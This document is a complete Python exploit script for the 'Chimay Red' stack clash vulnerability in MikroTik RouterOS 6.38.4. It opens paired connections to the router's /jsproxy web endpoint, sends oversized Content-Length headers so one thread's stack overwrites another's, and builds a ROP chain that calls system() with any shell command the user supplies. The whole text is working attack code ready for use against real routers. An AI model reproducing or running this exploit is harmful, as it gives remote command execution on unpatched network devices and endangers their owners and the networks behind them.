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#!/usr/bin/env python2 # Mikrotik Chimay Red Stack Clash Exploit by wsxarcher (based on BigNerd95 POC) # tested on RouterOS 6.38.4 (x86) # ASLR enabled on libs only # DEP enabled import socket, time, sys, struct from pwn import * import ropgadget AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB) ROS_STACKSIZE =0x20000 # newer version of ROS have a different stack size per thread (128 KB) SKIP_SPACE= 0x1000 # 4 KB of "safe" space for the stack of thread 2 ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain! ALIGN_SIZE= 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account ADDRESS_SIZE=0x4 # we need to overwrite a return address to start the ROP chain context(arch="i386", os="linux", log_level="WARNING") gadgets = dict() plt = dict() strings = dict() system_chunks = [] cmd_chunks = [] def makeHeader(num): return bytes("POST /jsproxy HTTP/1.1\r\nContent-Length: ") + bytes(str(num)) + bytes("\r\n\r\n") def makeSocket(ip, port): s = socket.socket() try: s.connect((ip, port)) except: print("Error connecting to socket") sys.exit(-1) print("Connected") time.sleep(0.5) return s def socketSend(s, data): try: s.send(data) except: print("Error sending data") sys.exit(-1) print("Sent") time.sleep(0.5) def ropCall(function_address, *arguments): payload = struct.pack('<L', function_address) num_arg = len(arguments) if num_arg > 0: if num_arg == 1: ret_gadget = gadgets['p'] elif num_arg == 2: ret_gadget = gadgets['pp'] elif num_arg == 3: ret_gadget = gadgets['ppp'] elif num_arg == 4: ret_gadget = gadgets['pppp'] else: raise payload += struct.pack('<L', ret_gadget) for arg in arguments: payload += struct.pack('<L', arg) return payload # pwntools filters out JOP gadgets # https://github.com/Gallopsled/pwntools/blob/5d537a6189be5131e63144e20556302606c5895e/pwnlib/rop/rop.py#L1074 def ropSearchJmp(elf, instruction): oldargv = sys.argv sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'jmp'] args = ropgadget.args.Args().getArgs() core = ropgadget.core.Core(args) core.do_binary(elf.path) core.do_load(0) sys.argv = oldargv for gadget in core._Core__gadgets: address = gadget['vaddr'] - elf.load_addr + elf.address if gadget['gadget'] == instruction: return address raise def loadOffsets(binary, shellCmd): elf = ELF(binary) rop = ROP(elf) if len([_ for _ in elf.search("pthread_attr_setstacksize")]) > 0: global AST_STACKSIZE AST_STACKSIZE = ROS_STACKSIZE # www PLT symbols plt["strncpy"] = elf.plt['strncpy'] plt["dlsym"] = elf.plt['dlsym'] # Gadgets to clean the stack from arguments gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address gadgets['p'] = rop.search(regs=["ebp"]).address # Gadget to jump on the result of dlsym (address of system) gadgets['jeax'] = ropSearchJmp(elf, "jmp eax") system_chunks.extend(searchStringChunksLazy(elf, "system\x00")) cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00")) # get the address of the first writable segment to store strings writable_address = elf.writable_segments[0].header.p_paddr strings['system'] = writable_address strings['cmd']= writable_address + 0xf def generateStrncpyChain(dst, chunks): chain = "" offset = 0 for (address, length) in chunks: chain += ropCall(plt["strncpy"], dst + offset, address, length) offset += length return chain # only search for single chars def searchStringChunksLazy(elf, string): chunks = [] for b in string: res = [_ for _ in elf.search(b)] if len(res) > 0: chunks.append((res[0], 1)) else: raise if len(string) != len(chunks): raise return chunks # [bugged, some problem with dots, not used] # search chunks of string def searchStringChunks(elf, string): chunks = [] total = len(string) if string == "": raise looking = string while string != "": results = [_ for _ in elf.search(looking)] if len(results) > 0: chunks.append((results[0], len(looking))) string = string[len(looking):] looking = string else: # search failed looking = looking[:-1] # search again removing last char check_length = 0 for (address, length) in chunks: check_length = check_length + length if check_length == total: return chunks else: raise def buildROP(binary, shellCmd): loadOffsets(binary, shellCmd) # ROP chain exploit= generateStrncpyChain(strings['system'], system_chunks) # w_segment = "system" exploit += generateStrncpyChain(strings['cmd'], cmd_chunks) # w_segment = "bash cmd" exploit += ropCall(plt["dlsym"], 0, strings['system']) # dlsym(0, "system"), eax = libc.system exploit += ropCall(gadgets['jeax'], strings['cmd'])# system("cmd") # The server is automatically restarted after 3 secs, so we make it crash with a random address exploit += struct.pack('<L', 0x13371337) return exploit def stackClash(ip, port, ropChain): print("Opening 2 sockets") # 1) Start 2 threads # open 2 socket so 2 threads are created s1 = makeSocket(ip, port) # socket 1, thread A s2 = makeSocket(ip, port) # socket 2, thread B print("Stack clash...") # 2) Stack Clash # 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A) socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here) # 2.2) send some bytes as post data to socket 1 (thread A) socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved # 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B) socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned print("Sending payload") # 3) Send ROP chain socketSend(s1, ropChain) # thread A writes the ROP chain in the stack of thread B print("Starting exploit") # 4) Start ROP chain s2.close() # close socket 2 to return from the function of thread B and start ROP chain print("Done!") def crash(ip, port): print("Crash...") s = makeSocket(ip, port) socketSend(s, makeHeader(-1)) socketSend(s, b'A' * 0x1000) s.close() time.sleep(2.5) # www takes up to 3 seconds to restart if __name__ == "__main__": if len(sys.argv) == 5: ip = sys.argv[1] port = int(sys.argv[2]) binary = sys.argv[3] shellCmd = sys.argv[4] print("Building ROP chain...") ropChain = buildROP(binary, shellCmd) print("The ROP chain is " + str(len(ropChain)) + " bytes long (" + str(ROP_SPACE) + " bytes available)") crash(ip, port) # should make stack clash more reliable stackClash(ip, port, ropChain) else: print("Usage: ./StackClashROPsystem.py IP PORT binary shellcommand") |
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